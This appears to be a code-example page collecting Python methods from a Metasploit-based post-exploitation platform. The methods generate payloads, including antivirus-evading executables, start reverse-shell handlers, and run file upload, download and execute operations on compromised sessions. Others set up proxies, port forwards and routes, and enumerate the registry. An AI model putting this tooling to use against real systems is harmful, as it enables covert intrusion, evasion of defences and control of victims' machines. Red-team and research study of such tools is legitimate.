Exemplo n.º 1
0
    def create(sessionid=None, filename=None, dirpath=None, operation=None):
        if operation == 'create_dir' and sessionid is not None and dirpath is not None:  # 新建文件夹
            formatdir = FileSession.deal_path(dirpath)
            opts = {'OPERATION': 'create_dir', 'SESSION': sessionid, 'SESSION_DIR': formatdir}
            result = MSFModule.run('post', 'multi/manage/file_system_operation_api', opts, runasjob=False, timeout=12)
            if result is None:
                context = data_return(301, FileSession_MSG.get(301), [])
                return context
            try:
                result = json.loads(result)
            except Exception as E:
                logger.warning(E)
                context = data_return(302, FileSession_MSG.get(302), {})
                return context

            if result.get('status') is not True:
                context = data_return(303, FileSession_MSG.get(303), [])
                return context
            else:
                context = data_return(201, FileSession_MSG.get(201), result.get('data'))
                return context
        # 上传文件
        elif operation == 'upload_file' and sessionid is not None and filename is not None and dirpath is not None:
            formatdir = FileSession.deal_path(dirpath)
            opts = {'OPERATION': 'upload', 'SESSION': sessionid, 'SESSION_DIR': formatdir, 'MSF_FILE': filename}
            result = MSFModule.run('post', 'multi/manage/file_system_operation_api', opts, runasjob=True, timeout=12)
            if result is None:
                context = data_return(301, FileSession_MSG.get(301), {})
                return context
            else:
                context = data_return(201, FileSession_MSG.get(201), result)
                return context
        else:
            context = data_return(306, FileSession_MSG.get(306), [])
            return context
Exemplo n.º 2
0
    def create(socks_type=None, port=None):
        if socks_type == "msf_socks4a":
            opts = {'SRVHOST': '0.0.0.0', 'SRVPORT': port}
            flag, lportsstr = is_empty_ports(port)
            if flag is not True:
                # 端口已占用
                context = data_return(408, CODE_MSG.get(408), {})
                return context

            result = MSFModule.run(module_type="auxiliary",
                                   mname="server/socks4a_api",
                                   opts=opts,
                                   runasjob=True)
            if isinstance(result,
                          dict) is not True or result.get('job_id') is None:
                opts['job_id'] = None
                context = data_return(303, Socks_MSG.get(303), opts)
            else:
                job_id = int(result.get('job_id'))
                if Job.is_msf_job_alive(job_id):
                    opts['job_id'] = int(result.get('job_id'))
                    Notice.send_success("新建msf_socks4a代理成功,Port: {}".format(
                        opts.get('SRVPORT'), opts.get('job_id')))
                    context = data_return(201, Socks_MSG.get(201), opts)
                else:
                    context = data_return(306, Socks_MSG.get(306), opts)
            return context
        elif socks_type == "msf_socks5":
            opts = {'SRVHOST': '0.0.0.0', 'SRVPORT': port}
            flag, lportsstr = is_empty_ports(port)
            if flag is not True:
                # 端口已占用
                context = data_return(408, CODE_MSG.get(408), {})
                return context

            result = MSFModule.run(module_type="auxiliary",
                                   mname="server/socks5_api",
                                   opts=opts,
                                   runasjob=True)
            if isinstance(result,
                          dict) is not True or result.get('job_id') is None:
                opts['job_id'] = None
                context = data_return(303, Socks_MSG.get(303), opts)
            else:
                job_id = int(result.get('job_id'))
                if Job.is_msf_job_alive(job_id):
                    opts['job_id'] = int(result.get('job_id'))
                    Notice.send_success("新建msf_socks5代理成功,Port: {}".format(
                        opts.get('SRVPORT'), opts.get('job_id')))
                    context = data_return(201, Socks_MSG.get(201), opts)
                else:
                    context = data_return(306, Socks_MSG.get(306), opts)
            return context
Exemplo n.º 3
0
    def create(portfwdtype=None, lhost=None, lport=None, rhost=None, rport=None, sessionid=None):
        # 获取不同转发的默认参数
        flag, context = PortFwd._check_host_port(portfwdtype, lhost, lport, rhost, rport)
        if flag is not True:
            return context

        # flag, lportsstr = is_empty_ports(lportint)
        # if flag is not True:
        #       # 端口已占用
        #     context = dict_data_return(CODE, CODE_MSG.get(CODE), {})
        #     return context

        opts = {'TYPE': portfwdtype,
                'LHOST': lhost, 'LPORT': lport, 'RHOST': rhost, 'RPORT': rport,
                'SESSION': sessionid, 'CMD': 'add'}

        result = MSFModule.run(module_type="post", mname="multi/manage/portfwd_api", opts=opts)
        if result is None:
            context = data_return(308, PORTFWD_MSG.get(308), {})
            return context
        try:
            result_dict = json.loads(result)
        except Exception as E:
            logger.warning(E)
            context = data_return(301, PORTFWD_MSG.get(301), [])
            return context
        if result_dict.get('status') is True:
            Notice.send_success(f"新增端口转发 SID:{sessionid} {portfwdtype} {lhost}/{lport} {rhost}/{rport}")
            context = data_return(201, PORTFWD_MSG.get(201), result_dict.get('data'))
            return context
        else:
            context = data_return(301, PORTFWD_MSG.get(301), [])
            return context
Exemplo n.º 4
0
    def destory(subnet=None, netmask=None, sessionid=None):
        opts = {
            'CMD': 'delete',
            'SUBNET': subnet,
            'NETMASK': netmask,
            'SESSION': sessionid
        }
        result = MSFModule.run(module_type="post",
                               mname="multi/manage/routeapi",
                               opts=opts)
        if result is None:
            context = data_return(505, CODE_MSG.get(505), [])
            return context
        try:
            result_dict = json.loads(result)
        except Exception as E:
            logger.warning(E)
            context = data_return(306, Route_MSG.get(306), {})
            return context

        if result_dict.get('status') is True:
            Notice.send_info(f"删除路由,SID:{sessionid} {subnet}/{netmask}")
            context = data_return(204, Route_MSG.get(204), {})
            return context
        else:
            context = data_return(304, Route_MSG.get(304), {})
            return context
Exemplo n.º 5
0
    def generate_bypass_exe(mname=None, opts=None):
        "生成免杀的exe"
        # 处理RHOST及LHOST参数
        if mname.find("reverse") > 0:
            try:
                opts.pop('RHOST')
            except Exception as _:
                pass
        elif mname.find("bind") > 0:
            try:
                opts.pop('LHOST')
            except Exception as _:
                pass

        # 处理OverrideRequestHost参数
        if opts.get('OverrideRequestHost') is True:
            opts["LHOST"] = opts['OverrideLHOST']
            opts["LPORT"] = opts['OverrideLPORT']
            opts['OverrideRequestHost'] = False
            Notice.send_warn("Payload包含OverrideRequestHost参数")
            Notice.send_warn(f"将LHOST 替换为 OverrideLHOST:{opts['OverrideLHOST']}")
            Notice.send_warn(f"将LPORT 替换为 OverrideLPORT:{opts['OverrideLPORT']}")

        # EXTENSIONS参数
        if "meterpreter_" in mname and opts.get('EXTENSIONS') is True:
            opts['EXTENSIONS'] = 'stdapi'

        opts["Format"] = "hex"
        result = MSFModule.run(module_type="payload", mname=mname, opts=opts)
        if result is None:
            return None
        shellcode = base64.b64decode(result.get('payload'))
        byteresult = Payload._create_payload_by_mingw(mname=mname, shellcode=shellcode)
        return byteresult
Exemplo n.º 6
0
    def create_post(loadpath=None,
                    sessionid=None,
                    hid=None,
                    custom_param=None):
        module_config = Xcache.get_moduleconfig(loadpath)
        # 获取模块配置
        if module_config is None:
            context = data_return(305, PostModuleActuator_MSG.get(305), {})
            return context

        # 处理模块参数
        try:
            custom_param = json.loads(custom_param)
        except Exception as E:
            logger.warning(E)
            custom_param = {}
        # 获取模块实例
        class_intent = importlib.import_module(loadpath)
        post_module_intent = class_intent.PostModule(sessionid, hid,
                                                     custom_param)

        # 模块前序检查,调用check函数
        try:
            flag, msg = post_module_intent.check()
            if flag is not True:
                # 如果检查未通过,返回未通过原因(msg)
                context = data_return(405, msg, {})
                return context
        except Exception as E:
            logger.warning(E)
            context = data_return(301, PostModuleActuator_MSG.get(301), {})
            return context

        try:
            broker = post_module_intent.MODULE_BROKER
        except Exception as E:
            logger.warning(E)
            context = data_return(305, PostModuleActuator_MSG.get(305), {})
            return context

        if broker == BROKER.post_python_job:
            # 放入多模块队列
            if aps_module.putin_post_python_module_queue(post_module_intent):
                context = data_return(201, PostModuleActuator_MSG.get(201), {})
                return context
            else:
                context = data_return(306, PostModuleActuator_MSG.get(306), {})
                return context
        elif broker == BROKER.post_msf_job:
            # 放入后台运行队列
            if MSFModule.putin_post_msf_module_queue(post_module_intent):
                context = data_return(201, PostModuleActuator_MSG.get(201), {})
                return context
            else:
                context = data_return(306, PostModuleActuator_MSG.get(306), {})
                return context
        else:
            logger.warning("错误的broker")
Exemplo n.º 7
0
    def run_bot_wait_list():

        # 检查当前任务数量是否大于3个
        task_queue_length = Xcache.get_module_task_length()
        if task_queue_length >= 3:
            return

        req = Xcache.pop_one_from_bot_wait()
        if req is None:
            return

        broker = req.get("broker")
        module_intent = req.get("module")
        if broker == BROKER.bot_msf_job:
            # 放入后台运行队列
            MSFModule.putin_post_msf_module_queue(module_intent)
        else:
            logger.error("unknow broker")
Exemplo n.º 8
0
 def update(sessionid, filepath, filedata):
     opts = {'OPERATION': 'update_file', 'SESSION': sessionid, 'SESSION_FILE': filepath, 'FILE_DATA': filedata}
     result = MSFModule.run('post', 'multi/manage/file_system_operation_api', opts, runasjob=True, timeout=12)
     if result is None:
         context = data_return(301, FileSession_MSG.get(301), {})
         return context
     else:
         context = data_return(204, FileSession_MSG.get(204), result)
         return context
Exemplo n.º 9
0
    def generate_shellcode(mname=None, opts=None):
        """根据配置生成shellcode"""
        # 处理RHOST及LHOST参数
        if mname.find("reverse") > 0:
            try:
                opts.pop('RHOST')
            except Exception as _:
                pass
        elif mname.find("bind") > 0:
            try:
                opts.pop('LHOST')
            except Exception as _:
                pass

        # 处理OverrideRequestHost参数
        if opts.get('OverrideRequestHost') is True:
            opts["LHOST"] = opts['OverrideLHOST']
            opts["LPORT"] = opts['OverrideLPORT']
            Notice.send_warn("Payload包含OverrideRequestHost参数")
            Notice.send_warn(
                f"将LHOST 替换为 OverrideLHOST:{opts['OverrideLHOST']}")
            Notice.send_warn(
                f"将LPORT 替换为 OverrideLPORT:{opts['OverrideLPORT']}")

        # EXTENSIONS参数
        if "meterpreter_" in mname and opts.get('EXTENSIONS') is True:
            opts['EXTENSIONS'] = 'stdapi'

        opts["Format"] = 'raw'
        if "windows" in mname:
            opts["Format"] = 'raw'
        elif "linux" in mname:
            opts["Format"] = 'raw'
        elif "java" in mname:
            opts["Format"] = 'jar'
        elif "python" in mname:
            opts["Format"] = 'py'
        elif "php" in mname:
            opts["Format"] = 'raw'

        result = MSFModule.run(module_type="payload", mname=mname, opts=opts)
        if result is None:
            return result
        byteresult = base64.b64decode(result.get('payload'))
        return byteresult
Exemplo n.º 10
0
 def download_file(self, filepath=None):
     """返回下载的文件内容,二进制数据"""
     opts = {
         'OPERATION': 'download',
         'SESSION': self.sessionid,
         'SESSION_FILE': filepath
     }
     result = MSFModule.run('post',
                            'multi/manage/file_system_operation_api',
                            opts,
                            timeout=300)  # 后台运行
     if result is None:
         return None
     filename = os.path.basename(filepath)
     binary_data = FileMsf.read_msf_file(filename)
     if binary_data is None:
         return None
     else:
         return binary_data
Exemplo n.º 11
0
 def registry_enumkeys(self, key, view=0):
     module_type = "post"
     mname = "windows/manage/registry_api"
     opts = {
         'SESSION': self.sessionid,
         'VIEW': view,
         'OPERATION': "registry_enumkeys",
         'KEY': key,
     }
     result = MSFModule.run(module_type=module_type,
                            mname=mname,
                            opts=opts,
                            timeout=12)
     if result is None:
         return {'status': False, "message": "MSFRPC Error", "data": None}
     try:
         result = json.loads(result)
         return result
     except Exception as E:
         return {'status': False, "message": E, "data": None}
Exemplo n.º 12
0
    def _get_info(self, info_part):
        if self.sessionid is None:
            return None
        module_type = "post"
        mname = "multi/gather/base_info"
        opts = {'SESSION': self.sessionid, 'INFO_PART': info_part}
        if self.sessionid is None or self.sessionid <= 0:
            return None
        result = MSFModule.run(module_type=module_type, mname=mname, opts=opts)

        if result is None:
            return None
        try:
            result_dict = json.loads(result)
            if result_dict.get('status'):
                return result_dict.get('data')
            else:
                return None
        except Exception as E:
            logger.warning(E)
            return None
Exemplo n.º 13
0
    def create(subnet=None, netmask=None, sessionid=None, autoroute=None):
        if autoroute is True:
            # 调用autoroute
            opts = {'CMD': 'autoadd', 'SESSION': sessionid}
        else:
            opts = {
                'CMD': 'add',
                'SUBNET': subnet,
                'NETMASK': netmask,
                'SESSION': sessionid
            }
        result = MSFModule.run(module_type="post",
                               mname="multi/manage/routeapi",
                               opts=opts)
        if result is None:
            context = data_return(505, CODE_MSG.get(505), [])
            return context
        try:
            result_dict = json.loads(result)
        except Exception as E:
            logger.warning(E)
            context = data_return(306, Route_MSG.get(306), [])
            return context
        if result_dict.get('status') is True:
            if isinstance(result_dict.get('data'), list):
                if autoroute:
                    Notice.send_success(f"新增路由,SID:{sessionid} 自动模式")
                else:
                    Notice.send_success(
                        f"新增路由,SID:{sessionid} {subnet}/{netmask}")

                context = data_return(201, Route_MSG.get(201),
                                      result_dict.get('data'))
            else:
                context = data_return(305, Route_MSG.get(305), [])
            return context
        else:
            context = data_return(305, Route_MSG.get(305), [])
            return context
Exemplo n.º 14
0
 def destory(portfwdtype=None, lhost=None, lport=None, rhost=None, rport=None, sessionid=None):
     if sessionid is not None or sessionid == -1:
         opts = {'TYPE': portfwdtype, 'LHOST': lhost, 'LPORT': lport, 'RHOST': rhost, 'RPORT': rport,
                 'SESSION': sessionid, 'CMD': 'delete'}
         result = MSFModule.run(module_type="post", mname="multi/manage/portfwd_api", opts=opts)
         if result is None:
             context = data_return(308, PORTFWD_MSG.get(308), {})
             return context
         try:
             result_dict = json.loads(result)
         except Exception as E:
             logger.warning(E)
             context = data_return(302, PORTFWD_MSG.get(302), [])
             return context
         if result_dict.get('status') is True:
             Notice.send_info(f"删除端口转发 SID:{sessionid} {portfwdtype} {lhost}/{lport} {rhost}/{rport}")
             context = data_return(204, PORTFWD_MSG.get(204), result_dict.get('data'))
             return context
         else:
             context = data_return(305, PORTFWD_MSG.get(305), [])
             return context
     else:
         context = data_return(306, PORTFWD_MSG.get(306), [])
         return context
Exemplo n.º 15
0
    def create(mname=None, opts=None):
        """生成payload文件"""

        # badchars = opts['BadChars'] | | ''
        # fmt = opts['Format'] | | 'raw'
        # force = opts['ForceEncode'] | | false
        # template = opts['Template'] | | nil
        # plat = opts['Platform'] | | nil
        # keep = opts['KeepTemplateWorking'] | | false
        # force = opts['ForceEncode'] | | false
        # sled_size = opts['NopSledSize'].to_i | | 0
        # iter = opts['Iterations'].to_i | | 0

        # 清理历史文件
        Payload._destroy_old_files()

        # 处理RHOST及LHOST参数
        if mname.find("reverse") > 0:
            try:
                opts.pop('RHOST')
            except Exception as _:
                pass
        elif mname.find("bind") > 0:
            try:
                opts.pop('LHOST')
            except Exception as _:
                pass

        # 处理OverrideRequestHost参数
        if opts.get('OverrideRequestHost') is True:
            opts["LHOST"] = opts['OverrideLHOST']
            opts["LPORT"] = opts['OverrideLPORT']
            opts['OverrideRequestHost'] = False
            Notice.send_warn("Payload包含OverrideRequestHost参数")
            Notice.send_warn(f"将LHOST 替换为 OverrideLHOST:{opts['OverrideLHOST']}")
            Notice.send_warn(f"将LPORT 替换为 OverrideLPORT:{opts['OverrideLPORT']}")

        # EXTENSIONS参数
        if "meterpreter_" in mname and opts.get('EXTENSIONS') is True:
            opts['EXTENSIONS'] = 'stdapi'

        if opts.get("Format") == "AUTO":
            if "windows" in mname:
                opts["Format"] = 'exe-src'
            elif "linux" in mname:
                opts["Format"] = 'elf'
            elif "java" in mname:
                opts["Format"] = 'jar'
            elif "python" in mname:
                opts["Format"] = 'py'
            elif "php" in mname:
                opts["Format"] = 'raw'

            else:
                context = data_return(306, Payload_MSG.get(306), {})
                return context

        if opts.get("Format") in ["exe-diy", "dll-diy", "dll-mutex-diy", "elf-diy"]:
            # 生成原始payload
            tmp_type = opts.get("Format")
            opts["Format"] = "hex"
            result = MSFModule.run(module_type="payload", mname=mname, opts=opts)
            if result is None:
                context = data_return(305, Payload_MSG.get(305), {})
                return context

            byteresult = base64.b64decode(result.get('payload'))
            filename = Payload._create_payload_with_loader(mname, byteresult, payload_type=tmp_type)
            # 读取新的zip文件内容
            payloadfile = os.path.join(File.tmp_dir(), filename)
            if opts.get("HandlerName") is not None:
                filename = f"{opts.get('HandlerName')}_{filename}"
            byteresult = open(payloadfile, 'rb')
        elif opts.get("Format") == "msbuild":
            # 生成原始payload
            opts["Format"] = "csharp"
            result = MSFModule.run(module_type="payload", mname=mname, opts=opts)
            if result is None:
                context = data_return(305, Payload_MSG.get(305), {})
                return context
            byteresult = base64.b64decode(result.get('payload'))
            filename = Payload._create_payload_use_msbuild(mname, byteresult)
            # 读取新的zip文件内容
            payloadfile = os.path.join(File.tmp_dir(), filename)
            byteresult = open(payloadfile, 'rb')
        elif opts.get("Format") == "exe-src":
            opts["Format"] = "hex"
            result = MSFModule.run(module_type="payload", mname=mname, opts=opts)
            if result is None:
                context = data_return(305, Payload_MSG.get(305), {})
                return context
            byteresult = base64.b64decode(result.get('payload'))
            byteresult = Payload._create_payload_by_mingw(mname=mname, shellcode=byteresult)
            filename = "{}.exe".format(int(time.time()))
        elif opts.get("Format") == "exe-src-service":
            opts["Format"] = "hex"
            result = MSFModule.run(module_type="payload", mname=mname, opts=opts)
            if result is None:
                context = data_return(305, Payload_MSG.get(305), {})
                return context
            byteresult = base64.b64decode(result.get('payload'))  # result为None会抛异常
            byteresult = Payload._create_payload_by_mingw(mname=mname, shellcode=byteresult,
                                                          payload_type="REVERSE_HEX_AS_SERVICE")
            filename = "{}.exe".format(int(time.time()))
        else:
            file_suffix = {
                "c": "c",
                "csharp": "cs",
                "exe": "exe",
                "exe-service": "exe",
                "powershell": "ps1",
                "psh-reflection": "ps1",
                "psh-cmd": "ps1",
                "hex": "hex",
                "hta-psh": "hta",
                "raw": "raw",
                "vba": "vba",
                "vbscript": "vbs",
                "elf": None,
                "elf-so": "so",
                "jar": "jar",
                "java": "java",
                "war": "war",
                "python": "py",
                "py": "py",
                "python-reflection": "py",
            }
            result = MSFModule.run(module_type="payload", mname=mname, opts=opts)
            if result is None:
                context = data_return(305, Payload_MSG.get(305), {})
                return context
            byteresult = base64.b64decode(result.get('payload'))
            if file_suffix.get(opts.get("Format")) is None:
                filename = "{}".format(int(time.time()))
            else:
                filename = "{}.{}".format(int(time.time()), file_suffix.get(opts.get("Format")))

        response = HttpResponse(byteresult)
        response['Content-Type'] = 'application/octet-stream'
        response['Code'] = 200
        response['Message'] = parse.quote(Payload_MSG.get(201))
        # 中文特殊处理
        urlpart = parse.quote(os.path.splitext(filename)[0], 'utf-8')
        leftpart = os.path.splitext(filename)[-1]
        response['Content-Disposition'] = f"{urlpart}{leftpart}"
        return response
Exemplo n.º 16
0
    def __init__(self,
                 sessionid=None,
                 rightinfo=False,
                 uacinfo=False,
                 pinfo=False):
        self.sessionid = sessionid
        self._rightinfo = rightinfo  # uac开关,uac登记 TEMP目录
        self._uacinfo = uacinfo  # 管理员组 完整性
        self._pinfo = pinfo  # 进程相关信息
        self._session_uuid = None
        self.update_time = 0

        # RIGHTINFO
        self.is_in_admin_group = None
        self.is_admin = None
        self.tmpdir = None

        # UACINFO
        self.is_uac_enable = None
        self.uac_level = -1
        self.integrity = None

        # PINFO
        self.pid = -1
        self.pname = None
        self.ppath = None
        self.puser = None
        self.parch = None
        self.processes = []

        # 基本信息
        self.load_powershell = False
        self.load_python = False
        self.domain = None
        self.session_host = None
        self.session_port = None
        self.target_host = None
        self.type = None
        self.computer = None
        self.arch = None
        self.platform = None
        self.last_checkin = 0
        self.user = None
        self.os = None
        self.os_short = None
        self.logged_on_users = 0
        self.tunnel_local = None
        self.tunnel_peer = None
        self.tunnel_peer_ip = None
        self.tunnel_peer_locate = None
        self.tunnel_peer_asn = None
        self.via_exploit = None
        self.via_payload = None
        self.route = []

        self.sysinfo = {}
        self.exploit_uuid = None
        self.available = False
        self.info = None
        self.pid = 0
        # 更新基本信息
        self._set_base_info()

        # 是否需要拓展的信息
        if self._rightinfo or self._pinfo or self._uacinfo:
            result = Xcache.get_session_info(self.sessionid)
            if result is None:
                module_type = "post"
                mname = "multi/gather/session_info"
                opts = {
                    'SESSION': self.sessionid,
                    'PINFO': self._pinfo,
                    'RIGHTINFO': self._rightinfo,
                    'UACINFO': self._uacinfo
                }
                result = MSFModule.run(module_type=module_type,
                                       mname=mname,
                                       opts=opts,
                                       timeout=30)
                if result is None:
                    Notice.send_warning("更新Session信息失败,请稍后重试")
                    return
            try:
                result_dict = json.loads(result)
                self._set_advanced_info(result_dict)
                if self._rightinfo and self._pinfo and self._uacinfo:
                    result_dict["update_time"] = int(time.time())
                    Xcache.set_session_info(self.sessionid,
                                            json.dumps(result_dict))
            except Exception as E:
                logger.warning(E)
                logger.warning("更新Session信息失败,返回消息为{}".format(result))
                Notice.send_warning("更新Session信息失败,请稍后重试")
Exemplo n.º 17
0
    def list(sessionid=None,
             filepath=None,
             dirpath=None,
             operation=None,
             arg=""):

        if operation == "list" and sessionid is not None and dirpath is not None:  # 列目录
            formatdir = FileSession.deal_path(dirpath)
            opts = {
                'OPERATION': 'list',
                'SESSION': sessionid,
                'SESSION_DIR': formatdir
            }
            result = MSFModule.run('post',
                                   'multi/manage/file_system_operation_api',
                                   opts,
                                   runasjob=False,
                                   timeout=12)
            if result is None:
                context = data_return(301, FileSession_MSG.get(301), {})
                return context
            try:
                result = json.loads(result)
            except Exception as E:
                logger.warning(E)
                context = data_return(302, FileSession_MSG.get(302), {})
                return context

            if result.get('status') is not True:
                context = data_return(303, FileSession_MSG.get(303), {})
                return context
            else:
                data = result.get('data')
                entries = data.get('entries')
                path = data.get('path')
                for one in entries:
                    if len(one.get('mode').split('/')) > 1:
                        one['format_mode'] = one.get('mode').split('/')[1]
                    else:
                        one['format_mode'] = ''

                    if one.get('total_space') is not None and one.get(
                            'free_space') is not None:
                        use_space = one.get('total_space') - one.get(
                            'free_space')
                        one['format_size'] = FileSession.get_size_in_nice_string(
                            use_space)
                        one['format_mode'] = '{}|{}'.format(
                            FileSession.get_size_in_nice_string(
                                one.get('free_space')),
                            FileSession.get_size_in_nice_string(
                                one.get('total_space')))
                    else:
                        one['format_size'] = FileSession.get_size_in_nice_string(
                            one.get('size'))

                    if one.get('size') is None or one.get(
                            'size') >= 1024 * 100:
                        one['cat_able'] = False
                    else:
                        one['cat_able'] = True

                    if one.get('type') in [
                            'directory', 'file', 'fixed', "remote"
                    ]:
                        one['absolute_path'] = os.path.join(
                            path,
                            one.get('name')).replace('\\\\',
                                                     '/').replace('\\', '/')
                    elif one.get('type') in ['fix', 'cdrom']:
                        one['absolute_path'] = "{}".format(one.get('name'))
                    else:
                        one['absolute_path'] = "{}".format(path)

                context = data_return(200, CODE_MSG.get(200), data)
                return context
        elif operation == 'pwd' and sessionid is not None:  # 列当前目录
            opts = {'OPERATION': 'pwd', 'SESSION': sessionid}
            result = MSFModule.run('post',
                                   'multi/manage/file_system_operation_api',
                                   opts,
                                   runasjob=False,
                                   timeout=12)
            if result is None:
                context = data_return(301, FileSession_MSG.get(301), {})
                return context
            try:
                result = json.loads(result)
            except Exception as E:
                logger.warning(E)
                context = data_return(302, FileSession_MSG.get(302), {})
                return context

            if result.get('status') is not True:
                context = data_return(303, FileSession_MSG.get(303), {})
                return context
            else:
                data = result.get('data')
                entries = data.get('entries')
                path = data.get('path')
                for one in entries:
                    one['format_size'] = FileSession.get_size_in_nice_string(
                        one.get('size'))
                    if one.get('size') >= 1024 * 100:
                        one['cat_able'] = False
                    else:
                        one['cat_able'] = True
                    if one.get('type') in ['directory', 'file']:
                        one['absolute_path'] = os.path.join(
                            path,
                            one.get('name')).replace('\\\\',
                                                     '/').replace('\\', '/')
                    elif one.get('type') in ['fix', 'cdrom']:
                        one['absolute_path'] = "{}".format(one.get('name'))
                    else:
                        one['absolute_path'] = "{}".format(path)
                    if len(one.get('mode').split('/')) > 1:
                        one['format_mode'] = one.get('mode').split('/')[1]
                    else:
                        one['format_mode'] = ''
                context = data_return(200, CODE_MSG.get(200), data)
                return context
        elif operation == 'download' and sessionid is not None and filepath is not None:  # 下载文件
            opts = {
                'OPERATION': 'download',
                'SESSION': sessionid,
                'SESSION_FILE': filepath
            }
            result = MSFModule.run('post',
                                   'multi/manage/file_system_operation_api',
                                   opts,
                                   runasjob=True)  # 后台运行
            if result is None:
                context = data_return(301, FileSession_MSG.get(301), {})
                return context
            else:
                context = data_return(200, CODE_MSG.get(200), result)
                return context
        elif operation == "run":  # 执行文件
            opts = {
                'OPERATION': 'execute',
                'SESSION': sessionid,
                'SESSION_FILE': filepath,
                'ARGS': arg
            }
            result = MSFModule.run('post',
                                   'multi/manage/file_system_operation_api',
                                   opts,
                                   runasjob=True)  # 后台运行
            if result is None:
                context = data_return(301, FileSession_MSG.get(301), {})
                return context
            else:
                context = data_return(202, FileSession_MSG.get(202), result)
                return context
        elif operation == "cat":  # 查看文件
            opts = {
                'OPERATION': 'cat',
                'SESSION': sessionid,
                'SESSION_FILE': filepath
            }
            moduleresult = MSFModule.run(
                'post',
                'multi/manage/file_system_operation_api',
                opts,
                runasjob=False,
                timeout=12)  # 后台运行
            if moduleresult is None:
                context = data_return(301, FileSession_MSG.get(301), {})
                return context
            else:
                try:
                    moduleresult = json.loads(moduleresult)
                except Exception as E:
                    logger.warning(E)
                    context = data_return(302, FileSession_MSG.get(302), {})
                    return context

                if moduleresult.get("status"):
                    filedata = base64.b64decode(
                        moduleresult.get("data")).decode("utf-8", 'ignore')
                    result = {"data": filedata, "reason": filepath}
                    context = data_return(200, CODE_MSG.get(200), result)
                    return context
                else:
                    result = {
                        "data": None,
                        "reason": moduleresult.get("message")
                    }
                    context = data_return(303, FileSession_MSG.get(303),
                                          result)
                    return context

        elif operation == "cd":  # 查看文件
            formatdir = FileSession.deal_path(dirpath)
            opts = {
                'OPERATION': 'cd',
                'SESSION': sessionid,
                'SESSION_DIR': formatdir
            }
            moduleresult = MSFModule.run(
                'post',
                'multi/manage/file_system_operation_api',
                opts,
                runasjob=False,
                timeout=12)  # 后台运行
            if moduleresult is None:
                context = data_return(301, FileSession_MSG.get(301), {})
                return context
            else:
                try:
                    moduleresult = json.loads(moduleresult)
                except Exception as E:
                    logger.warning(E)
                    context = data_return(302, FileSession_MSG.get(302), {})
                    return context

                if moduleresult.get("status"):
                    result = {}
                    context = data_return(203, FileSession_MSG.get(203),
                                          result)
                    return context
                else:
                    result = {
                        "data": None,
                        "reason": moduleresult.get("message")
                    }
                    context = data_return(303, FileSession_MSG.get(303),
                                          result)
                    return context
        else:
            context = data_return(306, FileSession_MSG.get(306), {})
            return context
Exemplo n.º 18
0
    def create(opts=None):
        # 所有的参数必须大写
        # opts = {'PAYLOAD': payload, 'LHOST': LHOST, 'LPORT': LPORT, 'RHOST': RHOST}
        if opts.get('VIRTUALHANDLER') is True:  # 虚拟监听
            opts.pop('VIRTUALHANDLER')
            result = Handler.create_virtual_handler(opts)
            if result is None:
                opts['ID'] = None
                context = data_return(301, Handler_MSG.get(301), opts)
            else:
                context = data_return(201, Handler_MSG.get(201), {})
        else:
            # 真正的监听
            # 处理代理相关参数
            if opts.get("proxies_proto") == "Direct" or opts.get("proxies_proto") is None:
                try:
                    opts.pop('proxies_proto')
                except Exception as _:
                    pass
                try:
                    opts.pop('proxies_ipport')
                except Exception as _:
                    pass

            else:
                proxies_proto = opts.get('proxies_proto')
                proxies_ipport = opts.get('proxies_ipport')
                opts["proxies"] = f"{proxies_proto}:{proxies_ipport}"
                try:
                    opts.pop('proxies_proto')
                except Exception as _:
                    pass
                try:
                    opts.pop('proxies_ipport')
                except Exception as _:
                    pass
            try:
                if opts.get('PAYLOAD').find("reverse") > 0:
                    try:
                        opts.pop('RHOST')
                    except Exception as _:
                        pass

                    # 查看端口是否已占用
                    # lport = int(opts.get('LPORT'))
                    # flag, lportsstr = is_empty_ports(lport)
                    # if flag is not True:
                    #     context = dict_data_return(306, Handler_MSG.get(306), {})
                    #     return context

                elif opts.get('PAYLOAD').find("bind") > 0:
                    if opts.get('LHOST') is not None:
                        opts.pop('LHOST')
                # 反向http(s)服务常驻问题特殊处理
                if opts.get('PAYLOAD').find("reverse_http") or opts.get('PAYLOAD').find("reverse_winhttp"):
                    opts['EXITONSESSION'] = False
                    opts['KillHandlerFouce'] = True
                else:
                    if opts.get('EXITONSESSION'):
                        opts['EXITONSESSION'] = True
                    else:
                        opts['EXITONSESSION'] = False
                opts['PayloadUUIDSeed'] = str(uuid.uuid1())
            except Exception as E:
                logger.error(E)
                context = data_return(500, CODE_MSG.get(500), {})
                return context

            result = MSFModule.run(module_type="exploit", mname="multi/handler", opts=opts, runasjob=True)

            if isinstance(result, dict) is not True or result.get('job_id') is None:
                opts['ID'] = None
                context = data_return(301, Handler_MSG.get(301), opts)
            else:
                job_id = int(result.get('job_id'))
                if Job.is_msf_job_alive(job_id):
                    opts['ID'] = int(result.get('job_id'))
                    Notice.send_success("新建监听成功:{} {} JobID:{}".format(opts.get('PAYLOAD'), opts.get('LPORT'),
                                                                       result.get('job_id')))
                    context = data_return(201, Handler_MSG.get(201), opts)
                else:
                    context = data_return(301, Handler_MSG.get(301), opts)

        return context